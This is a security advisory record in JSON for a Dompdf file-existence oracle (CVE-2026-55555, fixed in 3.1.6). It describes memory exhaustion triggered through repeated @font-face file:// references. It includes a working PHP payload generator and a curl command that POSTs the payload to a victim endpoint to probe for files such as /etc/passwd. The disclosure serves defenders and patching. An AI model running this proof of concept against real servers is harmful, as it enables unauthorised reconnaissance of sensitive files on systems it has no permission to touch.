CVE-2026-55555: Dompdf File Existence Oracle Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7x2p-4jvh-6384",
  "modified" : "2026-07-22T21:07:07Z",
  "published" : "2026-07-22T21:07:07Z",
  "aliases" : [ "CVE-2026-55555" ],
  "summary" : "Dompdf: File existence oracle via font-face stylesheet declaration",
  "details" : "## Description\n\nDompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion.\n\nThe critical point of this flaw is the discrepancy in system behavior:\n\n1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an \"Allowed memory size exhausted\" error, which crashes the creation.\n2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached.\n\nThis discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions.\n\nSome factors impact the ability of attackers to exploit the vulnerability:\n- The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.\n- System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.\n  - HTTP GET querystring or POST body must allow large data\n  - Memory limits must be low enough that Dompdf can trigger an overflow\n  - `$_dompdf_show_warnings` when set to true can bump memory usage\n\n---\n\n## Example Scenario\n\n### 1. Vulnerable System\n\nA web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.\n\n- Vulnerable Endpoint: http://example.com/index.php\n- Vulnerable Parameter: html_input (POST)\n\n`index.php` simplified:\n```\n$dompdf = new Dompdf(new Options());\n$dompdf->loadHtml($_POST['html_input']);\n$dompdf->render();\n$dompdf->stream(\"document.pdf\");\n```\n\n<img width=\"2530\" height=\"1320\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4\" />\n\n### 2. Attack Generation\n\nThe attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.\n\n- Attacker's Local Script (payload_gen.php):\n\n```PHP\n<?php\n\n/**\n * Usage: php exploit.php <file_path> <iterations>\n * Example: php exploit.php /etc/passwd 5000\n */\n\n// Check if the file argument was provided\nif ($argc < 2) {\n    echo \"[-] Usage: php exploit.php <file_to_read> [iterations]\\n\";\n    exit(1);\n}\n\n$file = $argv[1];\n$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;\n\nfunction generate_payload($file, $iterations) {\n    $css = \"\";\n    $body = \"\";\n    \n    // We use @font-face to trick the engine into attempting a local file read\n    for ($i = 0; $i < $iterations; $i++) {\n        $css .= \"@font-face { font-family: \\\"f{$i}\\\"; src: url(\\\"file://{$file}\\\"); }\\n\";\n        $body .= \"<span style=\\\"font-family:f{$i}\\\">.</span>\";\n    }\n    \n    return \"<html><head><style>{$css}</style></head><body>{$body}</body></html>\";\n}\n\n// Output the payload to stdout for piping\necho generate_payload($file, $iterations);\n\n?>\n```\n\n### 3. Exploitation\n\nThe attacker pipes the malicious HTML into a curl request targeting the remote server:\n\n```\nphp payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \\\n\n    --data-urlencode \"html_input@-\" \\\n\n    --output response.pdf\n```\n\nBy analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.\n\n#### Existent file:\n<img width=\"2544\" height=\"702\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536\" />\n\n#### Non-existent file:\n<img width=\"1872\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2\" />\n\nNote that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.\n\n---\n\n## Impact\n\n**Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "dompdf/dompdf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dompdf/dompdf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-203" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T21:07:07Z",
    "nvd_published_at" : null
  }
}